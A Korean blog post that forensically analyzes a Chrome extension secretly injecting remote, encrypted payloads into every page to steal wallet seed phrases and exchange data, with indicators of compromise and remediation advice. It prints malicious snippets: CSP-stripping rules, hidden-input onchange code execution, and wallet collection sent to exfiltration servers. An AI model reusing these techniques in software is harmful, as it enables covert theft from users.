·14 min read

평범한 우클릭 확장 프로그램은 어떻게 악성코드가 되었나

웹 개발 중 발견한 이상한 onchange 오류에서 시작해, Chrome 확장 프로그램이 원격 악성 코드를 내려받아 브라우저에 주입하는 과정을 추적한 기록입니다.

#보안#Chrome#포렌식#브라우저 확장

Chrome 웹 스토어의 Enable Right Click & Copy 확장 프로그램 페이지

로컬에서 웹 서비스를 개발하던 중 처음 보는 오류가 나타났습니다.

Uncaught TypeError: Cannot read properties of undefined (reading 'location')
    at http://localhost:9801/panel/...:68:14
    at HTMLInputElement.onchange (http://localhost:9801/panel/...:107:3)

사이트에 접속할 때마다 같은 오류가 반복됐습니다. 오류 위치는 제 서비스 주소였고 stack trace는 HTMLInputElement.onchange를 가리켰습니다. 하지만 해당 화면은 React의 onChange를 사용하고 있었고, 소스 전체에 inline onchange도 없었습니다.

처음에는 캐시나 개발 서버 문제라고 생각했습니다. 실제 원인은 전혀 다른 곳에 있었습니다. Chrome 웹 스토어에서 설치한 Enable Right Click & Copy — Smart Unlock + OCR 확장 프로그램이 원격 서버에서 JavaScript를 받아 모든 페이지에 실행하고 있었습니다.

이 글은 오류를 재현하고, 확장 저장소를 복호화해 주입 구조를 확인한 과정입니다. 분석 과정에서 확인한 개인 UUID는 모두 제거했습니다.

사이트 코드와 맞지 않는 stack trace#

React는 일반적으로 이벤트를 위임해 처리합니다. JSX의 onChange가 DOM의 onchange 속성으로 그대로 남지 않습니다. 그런데 오류에는 다음 함수가 명확하게 등장했습니다.

HTMLInputElement.onchange

서버가 반환한 HTML 원문도 확인했지만 오류에 나온 코드는 없었습니다. 브라우저에서 만들어진 DOM을 검사했을 때도 문제 input에 onchange 속성이 없었습니다. 페이지가 로드되는 아주 짧은 순간에 누군가 element를 만들고 코드를 실행한 뒤 제거했을 가능성이 생겼습니다.

Chrome DevTools Protocol로 실행 주체 찾기#

브라우저를 --remote-debugging-port=9222로 실행하고 Chrome DevTools Protocol(CDP)의 Runtime.exceptionThrown 이벤트를 수집했습니다. 오류와 함께 사이트에서 작성하지 않은 로그가 나타났습니다.

Content loaded
Extension keyboard shortcuts loaded. Available shortcuts:
- Alt+C: Toggle Copy Mode
- Alt+A: Toggle Absolute Mode
- Alt+O: Trigger OCR Mode
No connected wallet with address found, skipping send
Injection error: Content already injected
Crypto site not identified within timeout period

content script의 실행 URL도 확인할 수 있었습니다.

chrome-extension://pkoccklolohdacbfooifnpebakpbeipc/

Network log에는 다음 요청이 남았습니다.

https://api.site-signal.top/api/finish?uuid=<redacted>&task_id=...

이 시점에서 사이트 오류가 아니라 확장 프로그램 주입 문제라는 사실은 확인됐습니다. 다만 설치된 확장 파일을 검색해도 site-signal.top, checkWeb3Wallets, runInjection 같은 문자열은 나오지 않았습니다.

정적 분석에서 악성 코드가 보이지 않았던 이유#

manifest.json과 패키지 안 JavaScript만 보면 확장은 우클릭과 복사를 활성화하고 OCR을 제공하는 것처럼 보였습니다. 하지만 권한은 기능에 비해 매우 넓었습니다.

{
  "content_scripts": [{
    "js": ["content-scripts/content.js"],
    "matches": ["<all_urls>"]
  }],
  "host_permissions": ["<all_urls>"],
  "permissions": [
    "tabs",
    "activeTab",
    "storage",
    "scripting",
    "clipboardWrite",
    "offscreen",
    "declarativeNetRequest"
  ]
}

모든 페이지에 접근하고, 임의 탭에 script를 삽입하고, 현재 화면을 캡처할 수 있는 구성입니다. background.js에는 모든 사이트의 Content Security Policy(CSP)를 제거하는 규칙도 있었습니다.

responseHeaders: [
  { operation: "remove", header: "content-security-policy" },
  { operation: "remove", header: "content-security-policy-report-only" },
  { operation: "remove", header: "x-webkit-csp" },
  { operation: "remove", header: "x-content-security-policy" },
]

CSP는 페이지가 허용하지 않은 script와 외부 연결을 제한하는 핵심 방어선입니다. 복사 제한을 우회하려는 목적이 일부 있을 수 있어도, 모든 frame과 요청에서 CSP를 제거하는 방식은 지나칩니다.

핵심은 악성 payload가 확장 패키지 안에 평문으로 존재하지 않았다는 점입니다. 원격 서버에서 받은 코드는 Local Extension Settings의 LevelDB에 AES-GCM 암호문으로 저장돼 있었습니다.

원격 WebSocket과 암호화 저장소#

확장은 설치별 UUID를 생성하고 WebSocket 연결을 유지했습니다. 저장소에 있던 nodes 값을 확장 ID와 UUID로 만든 키를 사용해 복호화하자 다음 설정이 나왔습니다.

{
  "chunk_size": 16,
  "endpoint": "wss://lucky-random.sbs/?uuid=<redacted>&extension=pkoccklolohdacbfooifnpebakpbeipc",
  "nodes": 14,
  "rules": 3,
  "timeouts": {
    "ping": 20000,
    "report": 600000
  }
}

암호화 키는 대략 다음 구조로 파생됐습니다.

const material = `${chrome.runtime.id}-${userId}`;
const digest = await crypto.subtle.digest(
  "SHA-256",
  new TextEncoder().encode(material),
);
const key = await crypto.subtle.importKey(
  "raw",
  digest,
  { name: "AES-GCM" },
  false,
  ["encrypt", "decrypt"],
);

WebSocket에서 받은 auth:set 메시지는 payload를 다시 암호화해 nodes에 저장했습니다. 스토어 검수 시 패키지만 검사하면 실제 행위를 놓치기 쉬운 구조입니다.

숨겨진 input으로 원격 코드 실행#

복호화된 nodesbackground.js에서 페이지로 전달됐습니다.

await chrome.scripting.executeScript({
  target: { tabId },
  func: (nodes) => {
    window.__OCR_NODES = nodes;
  },
  args: [payloads],
});

keyboard-shortcuts.js는 각 문자열을 hidden input의 onchange에 넣고 강제로 change 이벤트를 발생시켰습니다.

function execute(code) {
  const input = document.createElement("input");
  input.type = "hidden";
  input.style.display = "none";
  input.setAttribute("onchange", code);
  document.body.appendChild(input);
  input.value = "true";
  input.dispatchEvent(new Event("change"));
  input.remove();
}

이 방식 때문에 원격 코드는 확장 URL이 아니라 현재 문서 URL에서 실행된 것처럼 표시됐습니다. 처음 본 오류가 localhostHTMLInputElement.onchange를 가리킨 이유도 정확히 설명됩니다. payload 내부 버그가 없었다면 이 동작은 눈에 띄지 않았을 가능성이 큽니다.

복호화된 payload에서 확인한 기능#

저장된 원격 payload는 14개였습니다. 다음 기능을 코드에서 확인했습니다.

  • Trezor 및 Ledger 흐름 가로채기와 seed phrase 전송
  • Binance, Bybit, Coinbase, Kraken, KuCoin, OKX, MEXC 계정·잔액 수집
  • Web3 지갑 탐지와 연결 주소 수집
  • 일반 input 수집
  • 브라우저 방문 기록 전송
  • Facebook Ads 계정 정보 수집
  • 암호화폐 사이트 상호작용 가로채기

예를 들어 Web3 payload에는 다음 흐름이 있었습니다.

async function checkWeb3Wallets() {
  const wallets = await detectAllWallets();
  const detectedWallets = Object.values(wallets).filter(
    (wallet) => wallet.detected,
  );
  await sendToServer(detectedWallets, wallets);
}

수집 결과는 다음 endpoint로 전송하도록 작성돼 있었습니다.

https://api.site-signal.top/api/finish
https://api.site-signal.top/api/notify

seed phrase 관련 payload에서는 ggl.lat도 사용했습니다. 피해 규모나 모든 서버 응답까지 확인한 것은 아니지만, 저장된 코드의 목적은 단순 분석이나 광고가 아니라 계정 및 암호화폐 정보 탈취였습니다.

왜 원래는 문제가 없었을까#

로컬 프로필 기록상 확장은 이전부터 설치돼 있었지만 조사한 6.6.0 파일과 last_update_time은 오류가 시작된 시점과 맞물렸습니다. 가능한 경로는 두 가지입니다.

  1. 정상 또는 덜 위험했던 확장 버전이 업데이트로 악성 동작을 추가했습니다.
  2. 원격 제어 서버가 특정 시점부터 이 설치 UUID에 악성 nodes를 전달했습니다.

확장 구조상 패키지 업데이트 없이도 원격 payload를 교체할 수 있습니다. 따라서 오류가 갑자기 시작됐다는 사실은 모순이 아닙니다. 오히려 원격 코드 중 하나가 undefined.location을 읽으며 실패해 숨어 있던 동작이 드러난 것입니다.

침해 지표(IOC)#

조사에서 확인한 식별자입니다.

Extension ID
pkoccklolohdacbfooifnpebakpbeipc
 
Extension version
6.6.0
 
Remote control / loader
lucky-random.sbs
active-enable-right-click.top
api.active-enable-right-click.top
 
Collection / exfiltration
site-signal.top
api.site-signal.top
ggl.lat

도메인만 차단하는 것으로 충분하지 않습니다. endpoint를 원격에서 변경할 수 있고 확장이 가진 권한도 그대로 남기 때문입니다.

설치돼 있다면 해야 할 일#

먼저 확장을 삭제하고 브라우저를 완전히 종료한 뒤 다시 실행해야 합니다. 브라우저 동기화로 확장이 재설치되지 않는지도 확인해야 합니다.

확장이 활성화된 동안 다음 정보를 입력했다면 노출됐다고 가정하고 깨끗한 다른 기기에서 대응하는 편이 안전합니다.

  • 브라우저에 입력한 Trezor 또는 Ledger seed phrase
  • 거래소 계정과 API key
  • 주요 이메일과 비밀번호
  • Facebook Business 및 Ads 계정

seed phrase를 브라우저에 입력했다면 비밀번호 변경만으로 해결되지 않습니다. 새 지갑을 만들고 자산을 이동해야 합니다. 거래소는 모든 세션 종료, 비밀번호 변경, API key 폐기, 출금 주소와 로그인 기록 확인이 필요합니다.

Google에 신고하기#

Chrome 웹 스토어 페이지의 악용사례 신고를 통해 확장 ID와 버전, 원격 endpoint, 재현 절차를 전달할 수 있습니다. 원본 확장 파일과 Local Extension Settings는 신고 전에 복사하고 SHA-256 해시를 만들어 두는 것이 좋습니다.

저장소에는 설치 UUID와 브라우징 정보가 포함될 수 있으므로 공개 저장소에 올리면 안 됩니다. UUID를 가린 최소 증거를 먼저 제출하고, Google 보안팀이 원본을 요청할 때 제한적으로 전달하는 방식이 안전합니다.

결론#

처음에는 제 코드의 사소한 JavaScript 오류처럼 보였습니다. 하지만 React 이벤트 처리 방식과 맞지 않는 stack trace를 따라가자, 웹 스토어 확장이 암호화된 원격 payload를 받아 모든 페이지에서 실행하는 구조가 나왔습니다.

브라우저 확장은 우리가 방문하는 거의 모든 서비스와 같은 권한 범위에서 움직일 수 있습니다. 설치 당시 정상처럼 보여도 업데이트나 원격 설정으로 동작이 바뀔 수 있습니다. 특히 단순한 기능을 제공하면서 <all_urls>, scripting, tabs, declarativeNetRequest를 함께 요구하는 확장은 권한과 네트워크 통신을 다시 살펴볼 필요가 있습니다.

무엇보다 이상한 오류를 무시하지 않은 것이 이번 문제를 발견한 계기였습니다. 재현되지 않아야 할 stack trace 한 줄도 때로는 브라우저 안에서 벌어지는 더 큰 문제의 흔적일 수 있습니다.